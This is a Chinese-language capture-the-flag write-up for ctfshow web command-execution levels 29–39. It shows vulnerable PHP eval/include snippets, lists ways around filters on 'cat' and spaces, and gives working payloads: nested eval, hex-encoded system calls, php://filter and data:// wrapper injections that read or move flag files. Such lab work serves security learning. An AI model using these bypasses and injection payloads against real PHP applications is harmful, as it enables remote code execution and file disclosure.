Web入门(命令执行28-39)
Web入门(命令执行28-39)
web29(cat与cp命令和?的应用)*
方法:1
应用cp命令后直接查看flag
方法:2
web30(反引号``的应用)
web31(空格过滤,cat过滤)
cat过滤时,可以替代绕过的姿势
1.tac:从最后一行开始显示,是cat的反向显示
2.more:一页一页的显示档案内容
3.less:与more类似
4.head:查看文档的前几行
5.tail:查看文档的后几行
6.nl:显示的时候,顺便输入行号
7.od:以二进制的方式读取档案内容
8.vi:一种编辑器
9.uniq:查看
10.vim:一种编译器
空格过滤时,可以替代绕过的姿势
1.${IFS}
2.$IFS$1
3.${IFS
4.%20
5.<和<>重定向符
6.%09
再附上大佬们的payload
?c=eval($_GET[1]);&1=system('cat flag.php');嵌套脱离了c的正则判断
?c=echostrings%09f*
;
?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()。
web32(嵌套文件包含,利用伪协议文件包含,再base64解码)
没有分号,最后一个语句可以使用?>来绕,没有空格可以用%0a来绕过
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
但是如果直接包含flag.php,发现啥都没有,因为flag.php包含进去了,但是并没有输出,所以要用伪协议再base64解码
如果include被过滤了,可以用require来代替
gpt的解释
web33(伪协议)
<?php error_reporting(0); if(isset($GET['c'])){ $c = $GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|.| |'|`|echo|\;|(|"/i", $c)){ eval($c); } }else{ highlight_file(FILE); }
解码即可
web34~36(include)
其中36需要用字母(这里可以不用单引号,目的是为了向下兼容)
<?php error_reporting(0); if(isset($GET['c'])){ $c = $GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|.| |'|`|echo|\;|(|\:|"/i", $c)){ eval($c); } }else{ highlight_file(FILE);
不用括号的函数
echo print isset unset include require
$0a 换行的意思
这里用文件包含,然后继续用LFI
/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web37(data协议)
<?php error_reporting(0); if(isset($GET['c'])){ $c = $GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(FILE); }
这里使用data协议,先试试能不能执行
?c=data://text/plain,<?php system("mv fla?.php 1.txt")?>
web38(短标签<?= ?>)
data://text/plain,<?=system("mv fla?.php 1.txt")?>
web39(data)
http://9f117863-a5fd-4df5-a337-89a201ae1cf9.challenge.ctf.show/?c=data://text/plain,<?=system("tac fla?.php")?>
- 感谢你赐予我前进的力量